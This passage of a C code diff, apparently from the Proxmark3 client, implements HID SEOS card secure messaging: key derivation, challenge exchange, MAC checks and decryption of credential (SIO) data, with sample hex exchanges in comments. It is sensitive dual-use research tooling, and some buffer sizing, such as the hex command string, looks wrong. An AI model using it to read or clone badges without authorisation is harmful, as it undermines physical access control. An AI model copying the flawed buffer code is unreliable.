block_size / 2, rndIFD, block_size / 2); + increment_command_wrapper(rndCounter, block_size); + + // Command Header is for the APDU Command to be sent + uint8_t padded_Command_Header[block_size]; + padToBlockSize(command_Header, command_header_len, block_size, padded_Command_Header); + + // Unencrypted Command is our actual command data + uint8_t padded_unencrypted_Command[block_size]; + padToBlockSize(unencrypted_Command, unencrypted_command_len, block_size, padded_unencrypted_Command); + + uint8_t padded_encrypted_Command[block_size]; + create_cryptogram(diversified_enc_key, padded_unencrypted_Command, padded_encrypted_Command, sizeof(padded_unencrypted_Command), encryption_algorithm); + + uint8_t asn1_tag_cryptograph[2] = {0x85, ARRAYLEN(padded_encrypted_Command)}; + uint8_t asn1_tag_mac[2] = {0x8e, 0x08}; + uint8_t command_trailer[2] = {0x97, 0x00}; + uint8_t padded_command_trailer[block_size - ARRAYLEN(command_trailer)]; + padToBlockSize(command_trailer, sizeof(command_trailer), block_size, padded_command_trailer); + + uint8_t toEncrypt[ARRAYLEN(rndCounter) + ARRAYLEN(padded_Command_Header) + ARRAYLEN(asn1_tag_cryptograph) + ARRAYLEN(padded_encrypted_Command) + ARRAYLEN(padded_command_trailer)]; + + memcpy(toEncrypt, rndCounter, ARRAYLEN(rndCounter)); + memcpy(toEncrypt + ARRAYLEN(rndCounter), padded_Command_Header, ARRAYLEN(padded_Command_Header)); + memcpy(toEncrypt + ARRAYLEN(rndCounter) + ARRAYLEN(padded_Command_Header), asn1_tag_cryptograph, ARRAYLEN(asn1_tag_cryptograph)); + memcpy(toEncrypt + ARRAYLEN(rndCounter) + ARRAYLEN(padded_Command_Header) + ARRAYLEN(asn1_tag_cryptograph), padded_encrypted_Command, ARRAYLEN(padded_encrypted_Command)); + memcpy(toEncrypt + ARRAYLEN(rndCounter) + ARRAYLEN(padded_Command_Header) + ARRAYLEN(asn1_tag_cryptograph) + ARRAYLEN(padded_encrypted_Command), padded_command_trailer, ARRAYLEN(padded_command_trailer)); + + // Breakdown + // 0181e43801010201 + 0000000000000001 + 0CCB3FFF800000000000000000000000 + 8510EB54DA90CB43AEE7FBFE816ECA25A10D + 9700 + 800000000000000000000000 + + uint8_t mac[8]; + create_cmac(diversified_mac_key, toEncrypt, mac, sizeof(toEncrypt), encryption_algorithm); + + // PrintAndLogEx(SUCCESS, "Encryption Key................... " _YELLOW_("%s"), sprint_hex_inrow(diversified_enc_key, 24)); + // PrintAndLogEx(SUCCESS, "MAC Key.......................... " _YELLOW_("%s"), sprint_hex_inrow(diversified_mac_key, 24)); + // PrintAndLogEx(SUCCESS, "rndCounter....................... " _YELLOW_("%s"), sprint_hex_inrow(rndCounter,sizeof(rndCounter))); + // PrintAndLogEx(SUCCESS, "padded_encrypted_Command......... " _YELLOW_("%s"), sprint_hex_inrow(padded_encrypted_Command,sizeof(padded_encrypted_Command))); + // PrintAndLogEx(SUCCESS, "toEncrypt........................ " _YELLOW_("%s"), sprint_hex_inrow(toEncrypt,sizeof(toEncrypt))); + // PrintAndLogEx(SUCCESS, "MAC.............................. " _YELLOW_("%s"), sprint_hex_inrow(mac,sizeof(mac))); + + uint8_t sizeofcommand[1] = {ARRAYLEN(asn1_tag_cryptograph) + ARRAYLEN(padded_encrypted_Command) + ARRAYLEN(command_trailer) + ARRAYLEN(asn1_tag_mac) + ARRAYLEN(mac)}; + uint8_t respondTo[1] = {0x00}; + + uint8_t completedCommand[command_header_len + 1 + ARRAYLEN(asn1_tag_cryptograph) + ARRAYLEN(padded_encrypted_Command) + ARRAYLEN(command_trailer) + ARRAYLEN(asn1_tag_mac) + ARRAYLEN(mac) + 1]; + memcpy(completedCommand, command_Header, command_header_len); + memcpy(completedCommand + command_header_len, sizeofcommand, ARRAYLEN(sizeofcommand)); + memcpy(completedCommand + command_header_len + ARRAYLEN(sizeofcommand), asn1_tag_cryptograph, ARRAYLEN(asn1_tag_cryptograph)); + memcpy(completedCommand + command_header_len + ARRAYLEN(sizeofcommand) + ARRAYLEN(asn1_tag_cryptograph), padded_encrypted_Command, ARRAYLEN(padded_encrypted_Command)); + memcpy(completedCommand + command_header_len + ARRAYLEN(sizeofcommand) + ARRAYLEN(asn1_tag_cryptograph) + ARRAYLEN(padded_encrypted_Command), command_trailer, ARRAYLEN(command_trailer)); + memcpy(completedCommand + command_header_len + ARRAYLEN(sizeofcommand) + ARRAYLEN(asn1_tag_cryptograph) + ARRAYLEN(padded_encrypted_Command) + ARRAYLEN(command_trailer), asn1_tag_mac, ARRAYLEN(asn1_tag_mac)); + memcpy(completedCommand + command_header_len + ARRAYLEN(sizeofcommand) + ARRAYLEN(asn1_tag_cryptograph) + ARRAYLEN(padded_encrypted_Command) + ARRAYLEN(command_trailer) + ARRAYLEN(asn1_tag_mac), mac, ARRAYLEN(mac)); + memcpy(completedCommand + command_header_len + ARRAYLEN(sizeofcommand) + ARRAYLEN(asn1_tag_cryptograph) + ARRAYLEN(padded_encrypted_Command) + ARRAYLEN(command_trailer) + ARRAYLEN(asn1_tag_mac) + ARRAYLEN(mac), respondTo, 1); + + // PrintAndLogEx(INFO, "--- " _CYAN_("Command Generation") " ---------------------------"); + // PrintAndLogEx(SUCCESS, "Command Header................... " _YELLOW_("%s"), sprint_hex_inrow(command_Header,sizeof(command_Header))); + // PrintAndLogEx(SUCCESS, "Payload.......................... " _YELLOW_("%s"), sprint_hex_inrow(unencrypted_Command,sizeof(unencrypted_Command))); + // PrintAndLogEx(SUCCESS, "completedCommand................. " _YELLOW_("%s"), sprint_hex_inrow(completedCommand,sizeof(completedCommand))); + + memcpy(command, completedCommand, ARRAYLEN(completedCommand)); + *command_len = ARRAYLEN(completedCommand); + //return; +} + +static int seos_get_data(uint8_t *rndICC, uint8_t *rndIFD, uint8_t *diversified_enc_key, uint8_t *diversified_mac_key, uint8_t *sioOutput, int *sio_size, int encryption_algorithm, uint8_t *get_data_tlv, int get_data_tlv_len) { + // Intergrating our command generation with the GetData request to make my life easier in the future + + // Command Header is for the Get Data Command using + // `0C` - Secure messaging – ISO/IEC 7816 standard, command header authenticated (C-MAC) + // `CB` - GET DATA + // uint8_t command_header[4] = {0x0c,0xcb,0x3f,0xff}; + uint8_t cla[1] = {0x0c}; // Secure Messaging Command Header + uint8_t ins[1] = {0xcb}; // GET DATA Instruction + uint8_t p1[1] = {0x3f}; // High order tag value (accoring to NIST.SP.800-73pt2-5.pdf, this is the hardcoded tag value) + uint8_t p2[1] = {0xff}; // Low order tag value + + // command builder + uint8_t command_header[ARRAYLEN(cla) + ARRAYLEN(ins) + ARRAYLEN(p1) + ARRAYLEN(p2)]; + memcpy(command_header, cla, ARRAYLEN(cla)); + memcpy(command_header + ARRAYLEN(cla), ins, ARRAYLEN(ins)); + memcpy(command_header + ARRAYLEN(cla) + ARRAYLEN(ins), p1, ARRAYLEN(p1)); + memcpy(command_header + ARRAYLEN(cla) + ARRAYLEN(ins) + ARRAYLEN(p1), p2, ARRAYLEN(p2)); + + int command_header_len = ARRAYLEN(command_header); + + // Command to be sent + // 5c [02] ff 00 + // 5c = tag list data object + // BER-TLV tag of the data object to be retrieved + // uint8_t unencrypted_command[4] = {0x5c,0x02,0xff,0x00}; + // Modification of the tags 2nd place from 00 can return other data + + uint8_t unencrypted_command[get_data_tlv_len]; + memcpy(unencrypted_command, get_data_tlv, get_data_tlv_len); + + int unencrypted_command_len = ARRAYLEN(unencrypted_command); + + uint8_t command_buffer[254]; + int command_len = 0; + + // PrintAndLogEx(SUCCESS, "Raw Command...................... " _YELLOW_("%s"), sprint_hex_inrow(unencrypted_command, get_data_tlv_len)); + generate_command_wrapping(command_header, command_header_len, unencrypted_command, unencrypted_command_len, rndICC, rndIFD, diversified_enc_key, diversified_mac_key, encryption_algorithm, command_buffer, &command_len); + + // Convert command from buffer to stream + uint8_t command_convert[command_len]; + memcpy(command_convert, command_buffer, command_len); + char completedCommandChar[sizeof(command_len) * 2 + 1]; + for (int i = 0; i < sizeof(command_convert); i++) { + snprintf(&completedCommandChar[i * 2], 3, "%02X", command_convert[i]); + } + // PrintAndLogEx(SUCCESS, "Command.......................... " _YELLOW_("%s"), completedCommandChar); + + // ------------------- Send Command ------------------- uint8_t response[PM3_CMD_DATA_SIZE]; int resplen = 0; - // --------------- Select SEOS applet ---------------- - uint8_t aSELECT_AID[80]; - int aSELECT_AID_n = 0; - param_gethex_to_eol("00a404000aa000000440000101000100", 0, aSELECT_AID, sizeof(aSELECT_AID), &aSELECT_AID_n); - int res = ExchangeAPDU14a(aSELECT_AID, aSELECT_AID_n, activate_field, keep_field_on, response, sizeof(response), &resplen); + bool activate_field = false; + bool keep_field_on = true; + + uint8_t aGET_CHALLENGE[100]; + int aGET_CHALLENGE_n = command_len; + param_gethex_to_eol(completedCommandChar, 0, aGET_CHALLENGE, sizeof(aGET_CHALLENGE), &aGET_CHALLENGE_n); + int res = ExchangeAPDU14a(aGET_CHALLENGE, aGET_CHALLENGE_n, activate_field, keep_field_on, response, sizeof(response), &resplen); + if (res != PM3_SUCCESS) { + DropField(); + return res; + } + uint16_t sw = get_sw(response, resplen); + if (sw != ISO7816_OK) { + PrintAndLogEx(ERR, "Get Data Failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + DropField(); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, "--- " _CYAN_("Get Data") " ---------------------------"); + // Raw response contains a few values + // 85 is our cryptogram response (64 bytes) + // 99 is our status word response (2 bytes) + // 8E is our MAC response (8 bytes) + // PrintAndLogEx(SUCCESS, "Raw Response..................... " _YELLOW_("%s"), sprint_hex_inrow(response, (resplen - 2))); + + uint8_t cryptogram[64]; + uint8_t responseCode[2]; + uint8_t tag[2] = {0x00, 0x00}; + int getDataSize = 0; + + // ------------------- Cryptogram Response ------------------- + if (resplen >= 2 && response[0] == 0x85 && response[1] == 0x40) { + uint8_t decrypted[64]; + memcpy(cryptogram, response + 2, 64); + memcpy(responseCode, response + 68, 2); + + // Decrypt the response + decrypt_cryptogram(diversified_enc_key, cryptogram, decrypted, sizeof(cryptogram), encryption_algorithm); + + // Response Format + // FF0038302F8102578CA5020500A6088101010403030008A7178515D65ED945996AB9107CD6D3E6011F56FFDD9CFFC780A9020500050000000000008000000000 + + // FF00 is our inputed tag value + // 38 is our len + + // PrintAndLogEx(SUCCESS, "Cryptogram....................... " _YELLOW_("%s"), sprint_hex_inrow(cryptogram, sizeof(cryptogram))); + // PrintAndLogEx(SUCCESS, "Decrypted........................ " _YELLOW_("%s"), sprint_hex_inrow(decrypted, sizeof(decrypted))); + + getDataSize = decrypted[2]; + memcpy(tag, decrypted, ARRAYLEN(tag)); + memmove(decrypted, decrypted + 1, sizeof(decrypted) - 1); + memmove(sioOutput, decrypted + 2, getDataSize); + *sio_size = getDataSize; + memcpy(responseCode, response + 68, 2); + + PrintAndLogEx(SUCCESS, "Response Code.................... " _YELLOW_("%s"), sprint_hex_inrow(responseCode, (ARRAYLEN(responseCode)))); + PrintAndLogEx(SUCCESS, "Output........................... " _YELLOW_("%s"), sprint_hex_inrow(sioOutput, getDataSize)); + } else if (resplen >= 2 && response[0] == 0x99) { + memcpy(responseCode, response + 2, 2); + // PrintAndLogEx(SUCCESS, "Raw Response..................... " _YELLOW_("%s"), sprint_hex_inrow(response, (resplen - 2))); + PrintAndLogEx(SUCCESS, "Response Code.................... " _YELLOW_("%s"), sprint_hex_inrow(responseCode, (ARRAYLEN(responseCode)))); + } + + return PM3_SUCCESS; +}; + +static void set_counter_big_endian(uint8_t *buffer, uint32_t counter) { + buffer[0] = (counter >> 24) & 0xFF; + buffer[1] = (counter >> 16) & 0xFF; + buffer[2] = (counter >> 8) & 0xFF; + buffer[3] = counter & 0xFF; +} + +static void create_mutual_auth_key(uint8_t *KEYIFD, uint8_t *KEYICC, uint8_t *RNDICC, uint8_t *RNDIFD, uint8_t *EncryptionKey, uint8_t *MACKey, int encryptionAlgorithm, int HashingAlgorithm) { + // Creating Mutual Authentication Keys + // Structure + // Prefix = 00000000 + // keyIFD.substring(16) = 0000000000000000 IFD = Interface Device + // keyICC.substring(16) = 0000000000000000 ICC = Integrated Circuit Card + // hashing algorithm x2 = 09 09 + // randomICC = 0000000000000000 ICC = Integrated Circuit Card + // RandomIFD = 0000000000000000 IFD = Interface Device + // Will always be 38 bytes + // + // 00000000 E0EC1F2D7B000000 F0EC1F2D7B000000 09 09 B0EC1F2D7B000000B8EC1F2D7B000000 + + uint8_t prefix[4] = {0x00, 0x00, 0x00, 0x00}; + uint8_t aHashingAlgorithm[2] = {encryptionAlgorithm, encryptionAlgorithm}; + uint8_t hash_in[38]; + + memcpy(hash_in, prefix, 4); + memcpy(hash_in + 4, KEYIFD, 8); + memcpy(hash_in + 12, KEYICC, 8); + memcpy(hash_in + 20, aHashingAlgorithm, 2); + memcpy(hash_in + 22, RNDICC, 8); + memcpy(hash_in + 30, RNDIFD, 8); + + // PrintAndLogEx(INFO, "--- " _CYAN_("Mutual Auth Keys") " ---------------------------"); + // PrintAndLogEx(SUCCESS, "Prefix........................... " _YELLOW_("%s"), sprint_hex_inrow(prefix, ARRAYLEN(prefix))); + // PrintAndLogEx(SUCCESS, "KeyIFD........................... " _YELLOW_("%s"), sprint_hex_inrow(KEYIFD, 8)); + // PrintAndLogEx(SUCCESS, "KeyICC........................... " _YELLOW_("%s"), sprint_hex_inrow(KEYICC, 8)); + // PrintAndLogEx(SUCCESS, "HashingAlgo...................... " _YELLOW_("%s"), sprint_hex_inrow(aHashingAlgorithm, ARRAYLEN(aHashingAlgorithm))); + // PrintAndLogEx(SUCCESS, "RandomICC........................ " _YELLOW_("%s"), sprint_hex_inrow(RNDICC, 8)); + // PrintAndLogEx(SUCCESS, "RandomIFD........................ " _YELLOW_("%s"), sprint_hex_inrow(RNDIFD, 8)); + // PrintAndLogEx(SUCCESS, "hash Input....................... " _YELLOW_("%s"), sprint_hex_inrow(hash_in,ARRAYLEN(hash_in))); + + uint8_t output[128]; // Buffer to store the two 32-byte keys + uint8_t hashedOutput[128]; + uint32_t counter = 1; + + // Generate the first key + set_counter_big_endian(hash_in, counter); // Set the counter in big-endian format + // PrintAndLogEx(SUCCESS, "key_out_temp..................... " _YELLOW_("%s"), sprint_hex_inrow(hash_in,ARRAYLEN(hash_in))); + + if (HashingAlgorithm == 0x06) { + sha1hash(hash_in, sizeof(hash_in), hashedOutput); + //PrintAndLogEx(SUCCESS, "key_out_temp..................... " _YELLOW_("%s"), sprint_hex_inrow(hash_in,ARRAYLEN(hash_in))); + memcpy(output, hashedOutput, 20); + counter++; + set_counter_big_endian(hash_in, counter); + sha1hash(hash_in, sizeof(hash_in), hashedOutput); + memcpy(output + 20, hashedOutput, 20); + //PrintAndLogEx(SUCCESS, "key_out_temp..................... " _YELLOW_("%s"), sprint_hex_inrow(hash_in,ARRAYLEN(hash_in))); + } else if (HashingAlgorithm == 0x07) { + sha256hash(hash_in, sizeof(hash_in), hashedOutput); + memcpy(output, hashedOutput, 32); + } else { + // Yes they generate their encryption keys and mac keys in a weird way for no fucking reason, the 2nd cycle isn't required. + PrintAndLogEx(ERR, _RED_("Unknown Hashing Algorithm")); + return; + } + + + memcpy(EncryptionKey, output, 16); + memcpy(MACKey, output + 16, 16); + + + // PrintAndLogEx(INFO, "--- " _CYAN_("New Key Generation") " ---------------------------"); + // PrintAndLogEx(SUCCESS, "Hash Output...................... " _YELLOW_("%s"), sprint_hex_inrow(output,ARRAYLEN(output))); + // PrintAndLogEx(SUCCESS, "Encryption Key................... " _YELLOW_("%s"), sprint_hex_inrow(EncryptionKey, 16)); + // PrintAndLogEx(SUCCESS, "MAC Key.......................... " _YELLOW_("%s"), sprint_hex_inrow(MACKey, 16)); +} + +static int seos_challenge_get(uint8_t *RNDICC, uint8_t RNDICC_len, uint8_t keyslot) { + uint8_t response[PM3_CMD_DATA_SIZE]; + int resplen = 0; + + bool activate_field = false; + bool keep_field_on = true; + + // The Get Challenge seems to be static across all tested cards + // 00870001047c02810000 + + char getChallengePre[21]; + strcpy(getChallengePre, "008700"); + + // const char keyslot_str[3] = "01"; + //strcat(getChallengePre, keyslot_str); + snprintf(getChallengePre + strlen(getChallengePre), 3, "%02u", keyslot); + strcat(getChallengePre, "047c02810000"); + + uint8_t aGET_CHALLENGE[12]; + int aGET_CHALLENGE_n = 0; + param_gethex_to_eol(getChallengePre, 0, aGET_CHALLENGE, sizeof(aGET_CHALLENGE), &aGET_CHALLENGE_n); + int res = ExchangeAPDU14a(aGET_CHALLENGE, aGET_CHALLENGE_n, activate_field, keep_field_on, response, sizeof(response), &resplen); if (res != PM3_SUCCESS) { DropField(); return res; } - if (resplen < 2) { + uint16_t sw = get_sw(response, resplen); + if (sw != ISO7816_OK) { + PrintAndLogEx(ERR, "Get Challenge Failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + DropField(); + return PM3_ESOFT; + } + memcpy(RNDICC, &response[4], 8); + + // Response looks like + // 7C0A810897460AC7535731F8 + // |----------|------------------| + // | 7C0A8108 | 97460AC7535731F8 | + // | Static | RND.ICC | + // |----------|------------------| + // 7C 0A 81 08 18 1E 43 80 10 10 20 11 + // 81 is the ASN.1 tag + + uint8_t staticResponse[8] = {0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x01}; + + PrintAndLogEx(INFO, "--- " _CYAN_("Get Challenge") " ---------------------------"); + //PrintAndLogEx(SUCCESS, "Challenge Input: " _YELLOW_("%s"), getChallengePre); + if (memcmp(RNDICC, staticResponse, 8) == 0) { + PrintAndLogEx(SUCCESS, "Static Response Detected......... " _GREEN_("%s"), sprint_hex_inrow(RNDICC, sizeof(RNDICC))); + } else { + PrintAndLogEx(SUCCESS, "RND.ICC.......................... " _YELLOW_("%s"), sprint_hex_inrow(RNDICC, sizeof(RNDICC))); + } + + return PM3_SUCCESS; +}; + +int seos_kdf(bool encryption, uint8_t *masterKey, uint8_t keyslot, + uint8_t *adfOid, size_t adfoid_len, uint8_t *diversifier, uint8_t diversifier_len, uint8_t *out, int encryption_algorithm, int hash_algorithm) { + + // Encryption key = 04 + // KEK Encryption key = 05 + // MAC key = 06 + // KEK MAC key = 07 + + uint8_t typeOfKey = 0x06; + if (encryption == true) { + typeOfKey = 0x04; + } + + uint8_t inputPre[] = { + // Padding + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, typeOfKey, 0x00, 0x00, 0x80, 0x01, + encryption_algorithm, hash_algorithm, keyslot + }; + + // 00000000000000000000000600008001 09 07 00 06112B0601040181E438010102011801010202 EFB08A28B0529F + // 00000000000000000000000400008001 09 07 00 06112B0601040181E438010102011801010202 EFB08A28B0529F + // 06112B0601040181E438010102011801010202 CF 07 EFB08A28B0529F DBA240413B0969B7111F4B6133A3DEFAD934B6DC + + + uint8_t input[sizeof(inputPre) + adfoid_len + diversifier_len]; + + memset(input, 0, sizeof(input)); + + memcpy(input, inputPre, sizeof(inputPre)); + memcpy(input + sizeof(inputPre), adfOid, adfoid_len); + memcpy(input + sizeof(inputPre) + adfoid_len, diversifier, diversifier_len); + + // PrintAndLogEx(SUCCESS, "adfOid: " _YELLOW_("%s"), sprint_hex_inrow(adfOid, 16)); + // PrintAndLogEx(SUCCESS, "diversifier: " _YELLOW_("%s"), sprint_hex_inrow(diversifier, 7)); + // PrintAndLogEx(SUCCESS, "Input: " _YELLOW_("%s"), sprint_hex_inrow(input, (sizeof(input)))); + + // ----------------- AES Key Generation ----------------- + uint8_t AES_iv[16] = {}; + + aes_cmac(AES_iv, masterKey, input, out, sizeof(input)); + return PM3_SUCCESS; +}; + +static int select_DF_verify(uint8_t *response, uint8_t response_length, uint8_t *MAC_value, size_t MAC_value_len, int encryption_algorithm, int key_index) { + uint8_t input[response_length - 10]; + // Response is an ASN.1 encoded structure + // Extract everything before the 8E tag + + int res = PM3_EWRONGANSWER; + for (int i = 0; i < response_length; i++) { + // extract MAC + if (response[i] == 0x8E) { + memcpy(input, response, i); + memcpy(MAC_value, response + (i + 2), MAC_value_len); + res = PM3_SUCCESS; + break; + } + } + if (res != PM3_SUCCESS) { + goto out; + } + + // ----------------- MAC Key Generation ----------------- + uint8_t cmac[16]; + uint8_t MAC_key[24] = {0x00}; + memcpy(MAC_key, keys[key_index].privMacKey, 16); + create_cmac(MAC_key, input, cmac, sizeof(input), encryption_algorithm); + + // PrintAndLogEx(INFO, "--- " _CYAN_("MAC") " ---------------------------"); + // PrintAndLogEx(SUCCESS, "MAC Key: "_YELLOW_("%s"), sprint_hex_inrow(MAC_key,sizeof(MAC_key))); + // PrintAndLogEx(SUCCESS, "Message: " _YELLOW_("%s"), sprint_hex_inrow(input,sizeof(input))); + + if (memcmp(cmac, MAC_value, MAC_value_len) == 0) { + // PrintAndLogEx(SUCCESS, _GREEN_("MAC Verification successful")); + return PM3_SUCCESS; + } + // PrintAndLogEx(INFO, "MAC Type......................... " _YELLOW_("%s"), algorithm_name1); + // PrintAndLogEx(INFO, "Supp MAC......................... " _YELLOW_("%s"), sprint_hex_inrow(MAC_value, MAC_value_len)); + // PrintAndLogEx(INFO, "Calc MAC......................... " _YELLOW_("%s"), sprint_hex_inrow(cmac, sizeof(cmac))); + +out: + PrintAndLogEx(INFO, "--- " _CYAN_("MAC") " ---------------------------"); + PrintAndLogEx(ERR, _RED_("MAC Verification Failed")); + return PM3_ESOFT; +} + +static int select_df_decode(uint8_t *response, uint8_t response_length, int *ALGORITHM_INFO_value1, int *ALGORITHM_INFO_value2, uint8_t *CRYPTOGRAM_encrypted_data, uint8_t *MAC_value) { + // Response is an ASN.1 encoded structure + // ASN.1 Information + // CF = Diversifier + // + // CD = ALGORITHM_INFO + // 02 = 3DES 2K (TWO_KEY_3DES_CBC_MODE) + // 04 = 3K3DES (THREE_KEY_3DES_CBC_MODE) + // 06 = SHA-1 (hash assigned to RSA-1024) + // 07 = SHA-256 + // 09 = AES-128 (AES_128_CBC) + // 85 = CRYPTOGRAM + // First 16 bytes what I guess is a nonce + // Followed with the ADF selected, then the diversifier + // 8E = MAC + + /* + [+] Raw ADF Response: CD0209078540EAA1E1966D666D1FBA14098700071D1DEE24B74CAC87D182EF1700B9946D697E60F87B0FB703C12AE0F83F579A9BF4888DF6B7691BBA6A404C797356F8457E488E088149C86A535EF86A + [=] -- CD [02] 'elem' + [=] 00: 09 07 | .. + [=] -- 85 [40] 'elem' + [=] 00: EA A1 E1 96 6D 66 6D 1F BA 14 09 87 00 07 1D 1D | ....mfm......... + [=] 10: EE 24 B7 4C AC 87 D1 82 EF 17 00 B9 94 6D 69 7E | .$.L.........mi~ + [=] 20: 60 F8 7B 0F B7 03 C1 2A E0 F8 3F 57 9A 9B F4 88 | `.{....*..?W.... + [=] 30: 8D F6 B7 69 1B BA 6A 40 4C 79 73 56 F8 45 7E 48 | ...i..j@LysV.E~H + [=] -- 8E [08] 'elem' + [=] 00: 81 49 C8 6A 53 5E F8 6A | .I.jS^.j + */ + int ALGORITHM_INFO_value1_n = 0; + int ALGORITHM_INFO_value2_n = 0; + int bufferPoint = 0; + + for (int i = 0; i < response_length; i++) { + // ALGORITHM_INFO + if (response[i] == 0xCD) { + *ALGORITHM_INFO_value1 = (int)response[i + 2]; + ALGORITHM_INFO_value1_n = response[i + 2]; + *ALGORITHM_INFO_value2 = (int)response[i + 3]; + ALGORITHM_INFO_value2_n = response[i + 3]; + bufferPoint = i + (i + 1); + break; + } + } + + for (int i = bufferPoint ; i < response_length; i++) { + // CRYPTOGRAM + if (response[i] == 0x85) { + memcpy(CRYPTOGRAM_encrypted_data, &response[i + 2], 64); + bufferPoint = i + (i + 1); + break; + } + } + + for (int i = bufferPoint; i < response_length; i++) { + // MAC + if (response[i] == 0x8E) { + memcpy(MAC_value, &response[i + 2], 8); + } + } + + const char *algorithm_name1 = NULL; + for (int i = 0; i < ARRAYLEN(known_algorithm_map); i++) { + if ((known_algorithm_map[i].value) == ALGORITHM_INFO_value1_n) { + algorithm_name1 = known_algorithm_map[i].name; + break; + } + } + + const char *algorithm_name2 = NULL; + for (int i = 0; i < ARRAYLEN(known_algorithm_map); i++) { + if (known_algorithm_map[i].value == ALGORITHM_INFO_value2_n) { + algorithm_name2 = known_algorithm_map[i].name; + break; + } + } + + PrintAndLogEx(INFO, "--- " _CYAN_("Raw ADF Information") " ---------------------------"); + if (algorithm_name1 != NULL) { + PrintAndLogEx(SUCCESS, "algoIdCipher (Encryption)........ "_YELLOW_("%i (%s)"), ALGORITHM_INFO_value1_n, algorithm_name1); + } else { + PrintAndLogEx(ERR, "algoIdCipher (Encryption)........ %d (Unknown)", ALGORITHM_INFO_value1_n); + } + + if (algorithm_name2 != NULL) { + PrintAndLogEx(SUCCESS, "algoIdHash (MAC)................. "_YELLOW_("%i (%s)"), ALGORITHM_INFO_value2_n, algorithm_name2); + } else { + PrintAndLogEx(ERR, "algoIdHash (MAC)............... %d (Unknown)", ALGORITHM_INFO_value2_n); + } + + // PrintAndLogEx(SUCCESS, "Raw Data......................... " _YELLOW_("%s"), sprint_hex_inrow(response, 80)); + PrintAndLogEx(SUCCESS, "CRYPTOGRAM Encrypted Data........ " _YELLOW_("%s"), sprint_hex_inrow(CRYPTOGRAM_encrypted_data, 64)); + // PrintAndLogEx(SUCCESS, "MAC.............................. " _YELLOW_("%s"), sprint_hex_inrow(MAC_value, 8)); + + return PM3_SUCCESS; +} + +static int select_ADF_decrypt(const char *selectADFOID, uint8_t *CRYPTOGRAM_encrypted_data_raw, uint8_t *CRYPTOGRAM_Diversifier, int encryption_algorithm, int key_index) { + // --------------- Decrypt ---------------- + + // 1. MAC Verify - AES/CBC-decrypt (IV || cryptogram || 16 bytes after 8e 08) with the MAC key & keep the last block + // 2. Decrypt the CRYPTOGRAM_encrypted_data - AES/CBC-decrypt with the encryption key & IV (the previous 16 bytes) + // 3. Verify the Decryption + // 3.1 - CF tag for diversifier at 44 chars in + // 4. Extract the data + // 4.1 Selected ADF + // 4.2 Diversifier + // 4.3 Nonce + uint8_t privEncKey[16] = {}; + memcpy(privEncKey, keys[key_index].privEncKey, 16); + uint8_t CRYPTOGRAM_decrypted_data[64]; + + decrypt_cryptogram(privEncKey, CRYPTOGRAM_encrypted_data_raw, CRYPTOGRAM_decrypted_data, ARRAYLEN(CRYPTOGRAM_decrypted_data), encryption_algorithm); + + // PrintAndLogEx(SUCCESS, "CRYPTOGRAM_encrypted_data_raw: " _YELLOW_("%s"), sprint_hex_inrow(CRYPTOGRAM_encrypted_data_raw, 64)); + // PrintAndLogEx(SUCCESS, "Raw Decrypted Data............... "_YELLOW_("%s"), sprint_hex_inrow(CRYPTOGRAM_decrypted_data,sizeof(CRYPTOGRAM_decrypted_data))); + + // Rough Output + // 06112B0601040181E438010102011801010202 CF 07 EFB08A28B0529F 5282752803B485BABF8CD88F3DA5515DF7712CF3 + + + // Extract the data + int diversifier_length = 0; + int adf_length = 0; + + int CRYPTOGRAM_decrypted_data_length = sizeof(CRYPTOGRAM_decrypted_data); + + for (int i = 0; i < CRYPTOGRAM_decrypted_data_length; i++) { + // ADF OID tag + if (CRYPTOGRAM_decrypted_data[i] == 0x06 && CRYPTOGRAM_decrypted_data[i + 1] < 20) { + adf_length = ((CRYPTOGRAM_decrypted_data[i + 1])); + diversifier_length = CRYPTOGRAM_decrypted_data[i + adf_length + 3]; + + uint8_t CRYPTOGRAM_ADF[strlen(selectADFOID) / 2]; + + memcpy(CRYPTOGRAM_ADF, &CRYPTOGRAM_decrypted_data[i], strlen(selectADFOID) / 2); + memcpy(CRYPTOGRAM_Diversifier, &CRYPTOGRAM_decrypted_data[i + adf_length + 4], diversifier_length); + + const char *CRYPTOGRAM_ADF_CMP = (sprint_hex_inrow(CRYPTOGRAM_ADF, ARRAYLEN(CRYPTOGRAM_ADF))); + + char *CRYPTOGRAM_ADF_UPPER = strdup(CRYPTOGRAM_ADF_CMP); + char *selectADFOID_UPPER = strdup(selectADFOID); + + // Convert both strings to uppercase + for (int x = 0; CRYPTOGRAM_ADF_UPPER[x]; x++) { + CRYPTOGRAM_ADF_UPPER[x] = toupper(CRYPTOGRAM_ADF_UPPER[x]); + } + for (int x = 0; selectADFOID_UPPER[x]; x++) { + selectADFOID_UPPER[x] = toupper(selectADFOID_UPPER[x]); + } + + + // Compare the 2 ADF responses, if they don't match then the decryption is wrong + // We do the + 4 to remove the first 4 bytes of the ADF OID ASN.1 Tag (0611) + if (strcmp(CRYPTOGRAM_ADF_UPPER + 4, selectADFOID_UPPER + 4) != 0) { + PrintAndLogEx(ERR, "ADF does not match decrypted ADF"); + PrintAndLogEx(ERR, "Likely wrong Key or IV"); + // PrintAndLogEx(SUCCESS, "Decoded ADF....................... "_YELLOW_("%s"), CRYPTOGRAM_ADF_UPPER); // ADF Selected + // PrintAndLogEx(SUCCESS, "Supplied ADF...................... "_YELLOW_("%s"), selectADFOID_UPPER); // ADF Selected + return PM3_ESOFT; + } + + // PrintAndLogEx(INFO, "--- " _CYAN_("Decrypted Response") " ---------------------------"); + // PrintAndLogEx(SUCCESS, "Decoded ADF...................... "_YELLOW_("%s"), sprint_hex_inrow(&CRYPTOGRAM_ADF[2],adf_length)); // ADF Selected + // PrintAndLogEx(SUCCESS, "Diversifier...................... "_YELLOW_("%s"), sprint_hex_inrow(CRYPTOGRAM_Diversifier,diversifier_length)); // ADF Diversifier + return PM3_SUCCESS; + + } + } + return PM3_ESOFT; +}; + +static int seos_mutual_auth(uint8_t *randomICC, uint8_t *CRYPTOGRAM_Diversifier, uint8_t diversifier_len, uint8_t *mutual_auth_randomIFD, uint8_t *mutual_auth_keyICC, uint8_t *randomIFD, uint8_t randomIFD_len, uint8_t *keyIFD, uint8_t keyIFD_len, int encryption_algorithm, int hash_algorithm, int key_index) { + 